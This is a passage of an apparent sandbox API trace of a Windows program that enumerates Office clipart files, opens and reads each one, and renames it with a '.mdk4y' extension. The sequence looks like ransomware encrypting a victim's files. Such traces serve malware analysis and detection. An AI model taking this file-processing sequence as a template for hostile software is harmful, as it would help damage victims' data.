(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.mdk4y")) returned 1 [0173.963] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.963] AreFileApisANSI () returned 1 [0173.963] GetACP () returned 0x4e4 [0173.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00917_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00917_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.963] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.964] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x25ac, lpOverlapped=0x0) returned 1 [0173.965] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.mdk4y")) returned 1 [0173.966] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.966] AreFileApisANSI () returned 1 [0173.966] GetACP () returned 0x4e4 [0173.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00918_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00918_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.966] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.967] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f5c, lpOverlapped=0x0) returned 1 [0173.968] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.mdk4y")) returned 1 [0173.969] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.969] AreFileApisANSI () returned 1 [0173.969] GetACP () returned 0x4e4 [0173.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00935_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00935_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.969] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.970] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2944, lpOverlapped=0x0) returned 1 [0173.972] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.mdk4y")) returned 1 [0173.972] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.972] AreFileApisANSI () returned 1 [0173.972] GetACP () returned 0x4e4 [0173.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00938_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00938_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.972] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.973] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1960, lpOverlapped=0x0) returned 1 [0173.974] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.mdk4y")) returned 1 [0173.975] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.975] AreFileApisANSI () returned 1 [0173.975] GetACP () returned 0x4e4 [0173.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00941_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00941_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.975] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.975] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1708, lpOverlapped=0x0) returned 1 [0173.977] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.mdk4y")) returned 1 [0173.977] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.977] AreFileApisANSI () returned 1 [0173.977] GetACP () returned 0x4e4 [0173.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00942_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00942_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.978] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.978] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1264, lpOverlapped=0x0) returned 1 [0173.979] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.mdk4y")) returned 1 [0173.980] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.980] AreFileApisANSI () returned 1 [0173.980] GetACP () returned 0x4e4 [0173.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00943_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00943_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.981] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.982] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d84, lpOverlapped=0x0) returned 1 [0173.984] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.mdk4y")) returned 1 [0173.984] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.984] AreFileApisANSI () returned 1 [0173.984] GetACP () returned 0x4e4 [0173.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01044_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01044_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.984] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.985] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xae1a, lpOverlapped=0x0) returned 1 [0173.987] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.mdk4y")) returned 1 [0173.987] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.987] AreFileApisANSI () returned 1 [0173.988] GetACP () returned 0x4e4 [0173.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01063_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01063_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.988] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.988] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b38, lpOverlapped=0x0) returned 1 [0173.997] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.mdk4y")) returned 1 [0173.998] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.998] AreFileApisANSI () returned 1 [0173.998] GetACP () returned 0x4e4 [0173.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01236_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01236_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.998] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.999] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1075e, lpOverlapped=0x0) returned 1 [0174.001] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.mdk4y")) returned 1 [0174.002] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.002] AreFileApisANSI () returned 1 [0174.002] GetACP () returned 0x4e4 [0174.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01560_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01560_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.002] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.003] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x43b0, lpOverlapped=0x0) returned 1 [0174.004] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.mdk4y")) returned 1 [0174.005] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.005] AreFileApisANSI () returned 1 [0174.005] GetACP () returned 0x4e4 [0174.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01561_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01561_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.005] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.005] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x59d8, lpOverlapped=0x0) returned 1 [0174.020] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.mdk4y")) returned 1 [0174.021] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.021] AreFileApisANSI () returned 1 [0174.021] GetACP () returned 0x4e4 [0174.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01563_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01563_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.021] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.022] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x75ca, lpOverlapped=0x0) returned 1 [0174.024] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.mdk4y")) returned 1 [0174.024] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.024] AreFileApisANSI () returned 1 [0174.024] GetACP () returned 0x4e4 [0174.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01566_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01566_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.024] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.025] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x51a8, lpOverlapped=0x0) returned 1 [0174.034] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.mdk4y")) returned 1 [0174.035] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.035] AreFileApisANSI () returned 1 [0174.035] GetACP () returned 0x4e4 [0174.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01568_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01568_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.035] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.036] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x54b0, lpOverlapped=0x0) returned 1 [0174.042] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.mdk4y")) returned 1 [0174.043] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.043] AreFileApisANSI () returned 1 [0174.043] GetACP () returned 0x4e4 [0174.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01569_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01569_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.043] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.044] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x47a0, lpOverlapped=0x0) returned 1 [0174.046] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.mdk4y")) returned 1 [0174.047] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.047] AreFileApisANSI () returned 1 [0174.047] GetACP () returned 0x4e4 [0174.047] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01575_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01575_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.047] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.048] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa8a6, lpOverlapped=0x0) returned 1 [0174.050] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.mdk4y")) returned 1 [0174.050] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.050] AreFileApisANSI () returned 1 [0174.050] GetACP () returned 0x4e4 [0174.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01777_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01777_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.051] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program 